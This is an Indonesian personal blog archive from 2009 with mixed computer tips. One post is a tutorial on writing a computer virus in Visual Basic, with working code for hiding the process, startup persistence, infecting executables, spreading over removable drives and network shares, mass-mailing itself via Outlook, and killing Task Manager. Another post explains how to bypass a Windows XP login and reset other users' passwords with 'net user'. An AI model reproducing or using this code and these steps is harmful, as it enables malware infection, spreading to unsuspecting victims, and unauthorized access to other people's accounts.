Minggu, 31 Mei 2009

Membuat Folder Lock





Mengunci Folder Dengan Notepad

Anda mempunyai dokumen rahasia ? dan anda tidak ingin dokumen rahasia itu terbongkar oleh orang lain ?... Saya akan beri tahu caranya bagai mana mengunci folder anda (tanpa software). Lakukan langkah demi langkah trik di bawah ini dengan serius :

1. Buka NOTEPAD
2. Taruh Kode dibawah kedalam NOTEPAD

@ECHO OFF
Magic Box kunci folder
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
ARE YOU SURE WANT TO LOCK FOLDER ??(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Foldernya dah terkunci
goto End
:UNLOCK
PLEASE INSERT PASSWORD!
set/p "pass=>"
if NOT %pass%== XXXX goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Foldernya berhasil di buat
goto End
:End

3.Tulisan XXXX diatas adalah sebuah password untuk membuka folder kamu jika kamu ganti dengan ganteng maka passwornya akan berubah menjadi ganteng

4.kemudian pilih File kemudian Save As, Ganti Save as type dengan All Files

5.Di filename kamu kasih extensinya *.bat misalnya (folder_kunci.bat) kemudian save

.:Cara Selanjutnya:.
Klick ganda pada file yang tadi kamu simpan dengan extensi *.bat dan akan keluar di cmd.exe
kamu harus menulis password yang telah kamu masukkan tadi kemudian tekan ENTER.
Setelah itu nanti ada sebuah folder dengan nama Locker nah kamu simpan file-file pribadimu disitu .
kalau sudah klick kembali file *.bat yang kamu simpan tadi dan ketik y kemudian enter untuk mengunci dan menyembunyikan Folder kamu lagi...

Dijamin ampuh untuk solusi ini….
Jangan lupa kirim kan data kamu, bahwa kmu sukses dengan trik di atas…!

Kirim ke : hantuteknis@gmail.com

Selasa, 26 Mei 2009

RedHat LINUX 9







RedHat LINUX 9

Istilah-istilah pada RedHat LINUX 9 :

/Swap = yaitu tempat penyimpanan Virtual Memory

/Root = yaitu tempat penyimpanan Admin atau password User

/Usr = yaitu penyimpanan data browsing seperti mozila ataupun aplikasi lainnya



Kelebihan atau keutungan memakai OS LINUX :

1. Diberi kebebasan untuk mengembangkan sistem & program (development tools)
2. Lisensinya bebas
3. Memiliki program dan aplikasi mandiri
4. Lebih efisien dalam manajemen memory.

Senin, 18 Mei 2009

Sign Virrus



Syarat sebuah virus komputer :

1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName


dan menambah ke registry :

Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing

Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus


Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
'Ambil nomor file
fNum = FreeFile
Open fname For Binary Access Read As fNum 'Buka file target
Seek fNum, LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus
tSignature = Space$(5)
Get fNum, , tSignature 'baca tSignature
Close fNum
If tSignature <> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus

Close fNum
finally:
End If
End If
End If
End Sub


Ketika program Executable dijalankan maka :

Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature

If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1

Call VirInstall 'instalasi virus

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If



'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode

fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop

fname = exePath & App.EXEName & fNum & ".exe"

On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:

Close #1

Call VirInstall

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function

Mempercepat proses penyebarannya melalui media pertukaran data dan informasi


Menyebarkan dirinya ke Floppy Disk,flas disc diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A ato flas disc oleh pemakai.

Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A ")
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub


Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then

For Each share In shares
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub



Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub



Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives

If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub

Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub

Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer

On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")

For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)

Set Mail = Outlook.CreateItem(0)

Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
Mail.Send
Next
Next

finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

wa tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya


Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"


Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub

MacIntosh



MacIntosh (Mac)

Adalah nama dari komputer yang dibuat oleh Apple Computer yang diperkenalkan pada tahun 1984. MacIntosh merupakan PC komersil pertama yang terkenal untuk penggunaan Graphical User Interface (GUI) yang membuat penggunanya bisa mudah memproses atau berinteraksi dengan Operating System dengan menggunakan mouse dan icon. Tampilan dari sistem operasi Windows banyak mengambil atau mencontoh bentuk dari tampilan MacIntosh (Tampilan GUI pertama kali di keluarkan oleh Xerox Star workstation tahun 1981). Semenjak 1984 telah banyak perbaikan dan pembaruan dari produk-produk dan selain versi desktop telah dibuat juga versi laptop. Produk-produk MacIntosh semenjak tahun 1994 berjalan pada processor PowerPC, antara lain, PowerMac, PowerBook, iMac, iBook, eMac, dan pada Sistem Operasi-nya sekarang bernama (OS X) telah dimasukkan suatu sistem kernel dari UNIX.

Selasa, 05 Mei 2009

Perawatan Hardisk !


Mejaga & Merawat Hardisk
Dalam suatu komponen PC, ada salah satu komponen yang paling penting dan komponen ini sangat sensitif. Komponen tersebut adalah Hardisk. Komponen ini adalah media utama dalam penyimpanan data atau sistem pada PC.
Langkah-langkanya sebagai berikut :

1.Installlah sebuah antivirus untuk berjaga jaga apabila nantinya ada virus yang menyerang dan merusak data anda.

2.Usahakan untuk selalu melakukan backup data yang
penting.

3.Gunakan scandisk untuk mengecek apakah ada batsector didalam harddisk.

4.selalu lakukan Defragment 2 minggu sekali agar data data didalam harddisk selalu tersusun rapi.

5. Backup data anda (klik Start  All Program  Accessories  Sytem Tools  Backup)

6.Jangan terlalu sering mencabut dan memasang kembali harddisk kedalam CPU..karena Harddisk sangat sensitiv.jika terkena goncangan,maka data data didalam harddisk terancam hilang.

7.jangan menyimpan data terlampau banyak.maksudnya jangan sampai free harddisk sampe tinggal beberapa kylobyte..tapi berilah ruang sedikit agar harddisk tidak terlalu sesak setidaknya sisakan sekitar 20 MB..apabila anda menggunakan OS Windows biasanya akan muncul warning jika harddisk kita terlampau penuh.

8.uninstall program program yang tidak berguna agar tidak memberatkan harddisk

9.Pakailah UPS atau Stavolt..Gunanya jika kita menggunakan UPS adalah apabila sewaktu kita sedang menggunakan komputer tiba tiba listrik padam,komputer tidak akan langsung mati.jadi kita bisa menyimpan dulu data baru dimatikan.Komputer yang tiba tiba mati tanpa di shutdown terlebih dahulu akan membuat harddisk cepat rusak.

10.ventilasi yang cukup..jangan meletakkan CPU ditempat yang terlalu sesak atau sempit..karena bisa membuat udara tidak bisa keluar sehingga menyebabkan harddisk menjadi cepat panas.Jadi sebaiknya pilih CPU yang memiliki banyak kipas dan tempatkan ditempat yang agak luas..

Minggu, 03 Mei 2009

Menggerakan Cursor tanpa mouse


Tips Menggerakan Kursor Tanpa Mouse

Berikut saya memberikan tips untuk menggerakkan cursor dengan keyboard apabila mouse anda rusak.
Langkah-langkahnya adalah sebagai berikut:

1. Tekan tombol ALT(sebelah kiri)+Shift(sebelah kiri)+NumLock secara bersamaan. Cara ini akan memunculkan windows MouseKeys.

2. Selanjutnya klik tombol Settings, beri tanda centang pada pilihan Use MouseKeys.
Nah sampai disini fungsi mousekeys sudah aktif.
Silahkan coba menggerakkan kursor menggunakan tombol-tombol angka di keypad numerik.
Angka 1, 2, 3, 4, 6, 7, 8, dan 9 digunakan untuk menggerakkan kursor ke atas, bawah, samping kanan/kiri, dan ke arah diagonal.
Sedangkan angka 5 berfungsi seperti tombol “klik” pada mouse.
Untuk “drag & drop” gunakan kombinasi angka dengan tombol “insert”.

Menjebol User Account


Cara Menjebol Password Masuk Windows XP

1. Saat sudah muncul layar untuk memilih account dan tempat passwordnya, tekan Ctrl-Alt-Del dua kali. Lalu akan muncul layar berisi kotak name dan password

2. Hapus tulisan di kotak name dan ketik administrator

3. Passwordnya tidak perlu diisi

4. Lalu tekan OK. Maka langsung masuk windows sebagai administrator. Setelah masuk,kita dapat mengubah password administratornya. Caranya adalah sebagai berikut :

1. Masuk user account baik dengan masuk control panel lalu masuk user account ataupun dengan mengklik gambar account di kiri atas menu start.

2. Setelah masuk, dapat kita lihat user account mana yang menjadi computer administrator. Misalnya yang menjadi computer account adalah Faisal. Lalu untuk mengubah passwordnya lihat langkah berikutnya;

3. Klik START lalu ke RUN dan ketika cmd. Maka akan masuk ke DOS

4. Ketik net user dan enter. Maka akan terlihat nama-nama user account windows XP. Perhatikan satu-persatu nama-nama user account yang ada. Biasanya nama user account saat kita lihat di menu user account sama dengan yang kita lihat melalui net user, tapi kadang-kadang berbeda. Oleh sebab itu, lihat satu-persatu samakan dengan yang saat kita lihat di menu user account. Sebagai contoh :
Di menu user account, account yang ada adalah :
Faisal
Jafar
Abu
Guest
Tetapi account yang terlihat di net user :
Jafar
Guest
Abu
Acer
SUPPORT_xxx
IUSR_WINDOWSXP
IWAM_WINDOWSXP
VVSR_WINDOWS_xxx





Maka kesimpulannya, computer administrator Faisal nama lainnya adalah Acer. Perhatian bahwa SUPPORT, IUSR, IWAM, VVSR dll bukan nama account.

5. Setelah tahu bahwa administrator account adalah Acer maka langkah berikutnya adalah ketik net user spasi nama administrator account spasi bintang. Contohnya :
net user Acer *

6. Lalu akan muncul tulisan “type a password for the user:”.
Bila ingin password computer administrator terhapus :
Tekan enter saja tak usah diisi, lalu akan muncul tulisan lagi “retype the password to confirm:”, tekan enter juga tak usah diisi. MAKA Anda telah menghapus password computer administrator.
Bila ingin mengubah passoword computer administrator:
Isi password yang Anda inginkan pada “type a password for the user:” dan password yang sama pada “retype the password to confirm:”. Perhatikan bahwa kata password yang kita ketik tidak akan terlihat seolah-olah kita tidak mengetikkan sesuatu, jadi Anda tak perlu bingung tinggal ketik saja, dijamin berhasil.

7. Ok selamat mencoba.